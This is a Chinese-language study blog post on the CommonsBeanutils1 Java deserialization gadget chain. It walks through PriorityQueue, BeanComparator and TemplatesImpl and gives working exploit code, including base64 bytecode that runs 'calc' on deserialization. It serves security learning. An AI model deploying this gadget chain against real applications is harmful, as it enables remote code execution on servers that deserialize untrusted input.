CommonsBeanutils1利用链学习

CommonsBeanutils1利用链学习

CommonsBeanutils简介

了解CommonsBeanutils的时候先了解JavaBean是什么

JavaBean简介

一个java类满足以下要求,都叫做JavaBean:

  1. public修饰的类,无参数的构造函数
  2. 属性是private的,但是提供了set/get方法
  3. 对于boolean类型的成员变量,允许使用"is"代替上面的"get"和"set"

封装数据的JavaBean

public class test {
    private String name;
    private String sex;
    //封装私有属性
----------------------------------------------------------------------
    public test(){
    }
    //无参数的构造方法
----------------------------------------------------------------------
    public String getName(){
        return name;
    }
    
    public String getSex(){
        return sex;
    }
    //public属性的方法
}

这样封装的数据,可以通过反射技术实例化JavaBean对象

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class demo {
    public static void main(String[] args){
        try{
            Class<?> cls =Class.forName("test");
            Constructor<?> constructor= cls.getConstructor();
            Object obj=constructor.newInstance();

            Field nameField= cls.getDeclaredField("name");
            nameField.setAccessible(true);
            nameField.set(obj,"Erin");

            Field sexField=cls.getDeclaredField("sex");
            sexField.setAccessible(true);
            sexField.set(obj,"男");

            Method getnameM=cls.getMethod("getName");
            String name=(String) getnameM.invoke(obj);
            System.out.println("name:"+name);

            Method getsexm= cls.getMethod("getSex");
            String sex=(String) getnameM.invoke(obj);
            System.out.println("sex:"+sex);
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    }
}

这种的JavaBean也叫做实体类,一般在数据库中也是一张表。

CommonsBeanutils实际上也就是我们的对javabean进行操作的类

commons-beanutils中提供了一个静态方法 PropertyUtils.getProperty ,让使用者可以直接调用任 意JavaBeangetter方法

Person person =new Person("t4telle");
PropertyUtils.getProperty(person,"name");

Person person =new Person("e4telle");
person.getName();

除此之外, PropertyUtils.getProperty 还支持递归获取属性,比如a对象中有属性b,b对象中有属性c,我们可以通过 PropertyUtils.getProperty(a, "b.c"); 的方式进行递归获取。通过这个方法,使用者可以很方便地调用任意对象的getter

调用链分析

PriorityQueue.readObject()->
	PriorityQueue.heapify()->
		PriorityQueue.siftDown()->
			PriorityQueue.siftDownUsingComparator()->
                   BeanComparator.compare()->
    
                       PropertyUtils.getProperty()->
                           TemplatesImpl.getOutputProperties()->
                               TemplatesImpl.newTransformer()->
                                   TemplatesImpl.getTransletInstance()->
                                     TemplatesImpl.defineTransletClasses()->
                                          TemplatesImpl.TransletClassLoader.defineClass()

PropertyUtils

PropertyUtils提供一些静态方法,方便开发者调用getter和setter方法:

  • getProperety:返回指定Bean的指定属性的值
  • getSimpleProperty:返回指定Bean的指定属性的值
  • setProperty:设置指定Bean的指定属性的值
  • setSimpleProperty:设置指定Bean的指定属性的值

这里我们就得思考如何调用getProperty,这里可以联想到之前CC2的链子的

PriorityQueue

这个类

private final Comparator<? super E> comparator;

PriorityQueue 的主要作用是维护一组数据的排序,使得取出数据时可以按照一定的优先级顺序进行,这里面定义了一个final型的comparator,这也是我们cc2里面使用的一部分

image-20240909090606952

image-20240909090628196

通过readObject方法实际上我们就能完成对compare方法的调用

然后进一步思考一下,我们有没有CommonsBeanutils里面调用了Comparator这个接口的

image-20240909091414349

进入发现这里果然存在我们的compare方法

image-20240909091503938

这里就可以通过调用compare方法进而达到调用JavaBean的getter方法。

TemplatesImpl

在cc3的学习里面我们知道,在动态加载字节码的时候就会有如下调用链

/*
TemplatesImpl#getOutputProperties()
    TemplatesImpl#newTransformer()
        TemplatesImpl#getTransletInstance()
            TemplatesImpl#defineTransletClasses()
                TransletClassLoader#defineClass()
*/

这里面的getOutputProperties方法,实际上是

private Properties _outputProperties;

这个属性的getter方法,而恰恰这个方法就是我们的加载恶意字节码的起点,上面我们刚好分析了,我们可以通过调用compare方法实际上就可以调用这个getter方法

EXP编写

直接借用CC3的恶意字节码加载的

        byte[] bytes = Base64.decode("yv66vgAAADQAMgoAAgADBwAEDAAFAAYBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAGPGluaXQ+AQADKClWCgAIAAkHAAoMAAsADAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwgADgEABGNhbGMKAAgAEAwAEQASAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwcAFAEAE2phdmEvbGFuZy9FeGNlcHRpb24KABMAFgwAFwAGAQAPcHJpbnRTdGFja1RyYWNlBwAZAQAfbWFpbi9qYXZhL2NjMi9UZXN0VGVtcGxhdGVzSW1wbAEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAEdGhpcwEAIUxtYWluL2phdmEvY2MyL1Rlc3RUZW1wbGF0ZXNJbXBsOwEADVN0YWNrTWFwVGFibGUBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAKgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEAFlRlc3RUZW1wbGF0ZXNJbXBsLmphdmEAIQAYAAIAAAAAAAMAAQAFAAYAAQAaAAAAfAACAAIAAAAWKrcAAbgABxINtgAPV6cACEwrtgAVsQABAAQADQAQABMAAwAbAAAAGgAGAAAADAAEAA4ADQARABAADwARABAAFQASABwAAAAWAAIAEQAEAB0AHgABAAAAFgAfACAAAAAhAAAAEAAC/wAQAAEHABgAAQcAEwQAAQAiACMAAgAaAAAAPwAAAAMAAAABsQAAAAIAGwAAAAYAAQAAABYAHAAAACAAAwAAAAEAHwAgAAAAAAABACQAJQABAAAAAQAmACcAAgAoAAAABAABACkAAQAiACsAAgAaAAAASQAAAAQAAAABsQAAAAIAGwAAAAYAAQAAABoAHAAAACoABAAAAAEAHwAgAAAAAAABACQAJQABAAAAAQAsAC0AAgAAAAEALgAvAAMAKAAAAAQAAQApAAEAMAAAAAIAMQ==");
        //反射创建TemplatesImpl
        Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        Constructor<?> constructor = aClass.getDeclaredConstructor(new Class[]{});
        Object TemplatesImpl_instance = constructor.newInstance();
        //将恶意类的字节码设置给_bytecodes属性
        Field bytecodes = aClass.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(TemplatesImpl_instance , new byte[][]{bytes});
        //设置属性_name为恶意类名
        Field name = aClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(TemplatesImpl_instance , "TestTemplatesImpl");

下一步就是调用

PriorityQueue.readObject()来触发我们的compare方法调用getter方法

        BeanComparator beanComparator = new BeanComparator("outputProperties");
        PriorityQueue queue = new PriorityQueue(2);
        queue.add(1);
        queue.add(1);

初始化时使用正经对象,且 property 为空,这一系列操作是为了初始化的时候不要出错。然后,我们再用反射将 property 的值设置成恶意的 outputProperties ,将add进队列里的1、2替换成恶意的TemplateImpl 对象

下面继续将compare的属性值设置为我们的恶意templates对象

        Field field=queue.getClass().getDeclaredField("comparator");
        field.setAccessible(true);
        field.set(queue,beanComparator);

        //设置queue属性
        field=queue.getClass().getDeclaredField("queue");
        field.setAccessible(true);
        //数组中必须添加2个元素
        Object[] objects = new Object[]{TemplatesImpl_instance , TemplatesImpl_instance};
        field.set(queue,objects);

完整exp

package other;

import com.sun.org.apache.xml.internal.security.exceptions.Base64DecodingException;
import com.sun.org.apache.xml.internal.security.utils.Base64;
import org.apache.commons.beanutils.BeanComparator;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.PriorityQueue;

public class CB {
    public static void main(String[] args) throws Base64DecodingException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException {
        byte[] bytes = Base64.decode("恶意字节码");

        // 反射创建 TemplatesImpl 实例
        Object TemplatesImpl_instance = createTemplatesInstance(bytes);

        // 创建优先队列并设置属性
        PriorityQueue queue = createPriorityQueueWithTemplates(TemplatesImpl_instance);

        // 序列化对象
        byte[] serializedData = serialize(queue);

        // 反序列化对象
        Object deserializedObject = deserialize(serializedData);
    }

    private static Object createTemplatesInstance(byte[] bytes) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException {
        Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        Constructor<?> constructor = aClass.getDeclaredConstructor();
        constructor.setAccessible(true);
        Object TemplatesImpl_instance = constructor.newInstance();

        setValue(TemplatesImpl_instance, "_bytecodes", new byte[][]{bytes});
        setValue(TemplatesImpl_instance, "_name", "TestTemplatesImpl");

        return TemplatesImpl_instance;
    }

    private static PriorityQueue createPriorityQueueWithTemplates(Object TemplatesImpl_instance) throws NoSuchFieldException, IllegalAccessException {
        PriorityQueue queue = new PriorityQueue(2);
        queue.add(1);
        queue.add(1);

        setValue(queue, "comparator", new BeanComparator("outputProperties"));
        setValue(queue, "queue", new Object[]{TemplatesImpl_instance, TemplatesImpl_instance});

        return queue;
    }

    private static void setValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field field = getField(obj, fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    private static Field getField(Object obj, String fieldName) throws NoSuchFieldException {
        for (Class<?> superClass = obj.getClass(); superClass != Object.class; superClass = superClass.getSuperclass()) {
            try {
                return superClass.getDeclaredField(fieldName);
            } catch (NoSuchFieldException e) {
                // Ignore and search in the next superclass
            }
        }
        throw new NoSuchFieldException("Field " + fieldName + " not found in " + obj.getClass());
    }

    private static byte[] serialize(Object obj) throws IOException {
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(obj);
        oos.close();
        return barr.toByteArray();
    }

    private static Object deserialize(byte[] data) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data));
        return ois.readObject();
    }
}

posted @ 2024-09-09 11:21  E4telle  阅读(47)  评论(0)    收藏  举报